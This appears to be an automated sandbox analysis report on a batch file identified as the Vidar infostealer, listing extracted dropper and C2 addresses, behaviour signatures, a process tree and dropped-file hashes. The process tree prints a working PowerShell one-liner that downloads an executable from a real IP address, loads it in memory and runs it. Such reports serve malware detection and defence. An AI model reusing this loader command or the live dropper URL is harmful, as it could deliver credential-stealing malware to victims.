Analysis

  • max time kernel
    135s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/01/2025, 00:59

General

  • Target
    Setup/Setup-install.bat
  • Size 10KB
  • Sample250122-bb5m9azrem
  • SHA256 7b9db02ad489193d1b9a5d7d7edc41a69cbc69d5e15d8267c2bf52a25dd434f3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://147.45.44.131/infopage/rwtvha.exe

  • exe.dropper

    http://147.45.44.131/infopage/rwtvha.exe

Extracted

Family
  • vidar

Botnet
  • fc0stn

C2
  • https://t.me/w0ctzn

  • https://steamcommunity.com/profiles/76561199817305251

Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0

Signatures

  • Detected google phishing page
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Vidar family
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Setup\Setup-install.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3372
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$url = 'http://147.45.44.131/infopage/rwtvha.exe'; $webClient = New-Object System.Net.WebClient; $headerName = 'X-Special-Header'; $headerValue = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'; $webClient.Headers.Add($headerName, $headerValue); $fileBytes = $webClient.DownloadData($url); $assembly = [System.Reflection.Assembly]::Load($fileBytes); $entryPoint = $assembly.EntryPoint; if ($entryPoint -ne $null) { $entryPoint.Invoke($null, @()); }"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4460
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\noth44de\noth44de.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4640
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6F63.tmp" "c:\Users\Admin\AppData\Local\Temp\noth44de\CSCA73B8FE686AE4C7A89AF8BE2D278FC85.TMP"
          4⤵
            PID:5108
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:548
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
      1⤵
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:3340
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x124,0x128,0x12c,0xf8,0x130,0x7ffbe14d46f8,0x7ffbe14d4708,0x7ffbe14d4718
        2⤵
          PID:3960
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2200 /prefetch:2
          2⤵
            PID:4320
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 /prefetch:3
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:640
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2616 /prefetch:8
            2⤵
              PID:3040
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
              2⤵
                PID:3380
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
                2⤵
                  PID:968
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4048 /prefetch:1
                  2⤵
                    PID:4388
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3776 /prefetch:1
                    2⤵
                      PID:868
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5312 /prefetch:8
                      2⤵
                        PID:4544
                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5312 /prefetch:8
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4540
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5376 /prefetch:1
                        2⤵
                          PID:4768
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5352 /prefetch:1
                          2⤵
                            PID:4240
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5360 /prefetch:1
                            2⤵
                              PID:5032
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5036 /prefetch:1
                              2⤵
                                PID:3524
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4076 /prefetch:1
                                2⤵
                                  PID:2724
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5356 /prefetch:1
                                  2⤵
                                    PID:3552
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,14260339576579605829,4296676583812131019,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5884 /prefetch:1
                                    2⤵
                                      PID:1700
                                  • C:\Windows\System32\CompPkgSrv.exe
                                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                                    1⤵
                                      PID:2412
                                    • C:\Windows\System32\CompPkgSrv.exe
                                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                                      1⤵
                                        PID:3804

                                      Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            settings.dat

                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                            • Size 152B
                                            • SHA256 4e2510a1d5a50a94fe4ce0f74932ab780758a8cbdc6d176a9ce8ab92309f26f8
                                            • MD5 SHA1 SHA512

                                            Preferences

                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                            • Size 5KB
                                            • SHA256 b9e31937ef4ce588fbfaa1f0f61897900921aa740f583a5c8887c100365aa98a
                                            • MD5 SHA1 SHA512 SSDEEP

                                            Preferences

                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                            • Size 6KB
                                            • SHA256 00944f4517e6444915b861fe51137d43ed26f5c5ab6000101d84d434eb396123
                                            • MD5 SHA1 SHA512 SSDEEP

                                            CURRENT

                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
                                            • Size 16B
                                            • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                                            • MD5 SHA1 SHA512

                                            CURRENT

                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
                                            • Size 16B
                                            • SHA256 1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167
                                            • MD5 SHA1 SHA512

                                            Local State

                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                            • Size 10KB
                                            • SHA256 eb4174b1525ca884d911e1c50d781b0568445ab1af946e8c6b15201038437bfc
                                            • MD5 SHA1 SHA512 SSDEEP

                                            RES6F63.tmp

                                            • Path C:\Users\Admin\AppData\Local\Temp\RES6F63.tmp
                                            • Size 1KB
                                            • SHA256 4c5c011add5ed0e62a15be57689539e4ae66d30a62b91bfd46573a827c09dfb1
                                            • MD5 SHA1 SHA512

                                            __PSScriptPolicyTest_fqbjb2sb.3bt.ps1

                                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fqbjb2sb.3bt.ps1
                                            • Size 60B
                                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                            • MD5 SHA1 SHA512

                                            noth44de.dll

                                            • Path C:\Users\Admin\AppData\Local\Temp\noth44de\noth44de.dll
                                            • Size 9KB
                                            • SHA256 0a8ecb1587b63bdeaff491a8f7888d954c6c80ac22e65bc83933e61e3108a4f2
                                            • MD5 SHA1 SHA512 SSDEEP

                                            CSCA73B8FE686AE4C7A89AF8BE2D278FC85.TMP

                                            • Path \??\c:\Users\Admin\AppData\Local\Temp\noth44de\CSCA73B8FE686AE4C7A89AF8BE2D278FC85.TMP
                                            • Size 652B
                                            • SHA256 5b582fdb80a83b1e7b08ed2d10a200daea107259b6cf56b2fc1e817fd9bf5ad4
                                            • MD5 SHA1 SHA512

                                            noth44de.0.cs

                                            • Path \??\c:\Users\Admin\AppData\Local\Temp\noth44de\noth44de.0.cs
                                            • Size 10KB
                                            • SHA256 642d655cf208af1b6b913ef51c89134f794f185c4f661e5428b5e50dd5f36cbb
                                            • MD5 SHA1 SHA512 SSDEEP

                                            noth44de.cmdline

                                            • Path \??\c:\Users\Admin\AppData\Local\Temp\noth44de\noth44de.cmdline
                                            • Size 204B
                                            • SHA256 60386dbe41a2f39e0fc77ef1b23d463a95f87b2fc57f51f1a9ce0bcb8c151390
                                            • MD5 SHA1 SHA512

                                            memory/548-28-0x0000000000400000-0x0000000000460000-memory.dmp

                                            memory/548-32-0x0000000000400000-0x0000000000460000-memory.dmp

                                            memory/548-33-0x0000000000400000-0x0000000000460000-memory.dmp

                                            memory/548-35-0x0000000000400000-0x0000000000460000-memory.dmp

                                            memory/548-42-0x0000000000400000-0x0000000000460000-memory.dmp

                                            memory/4460-26-0x0000018770E10000-0x0000018770E18000-memory.dmp

                                            memory/4460-31-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

                                            memory/4460-0-0x00007FFBE16B3000-0x00007FFBE16B5000-memory.dmp

                                            memory/4460-13-0x00000187589E0000-0x00000187589EE000-memory.dmp

                                            memory/4460-12-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

                                            memory/4460-11-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

                                            memory/4460-10-0x0000018770E40000-0x0000018770E62000-memory.dmp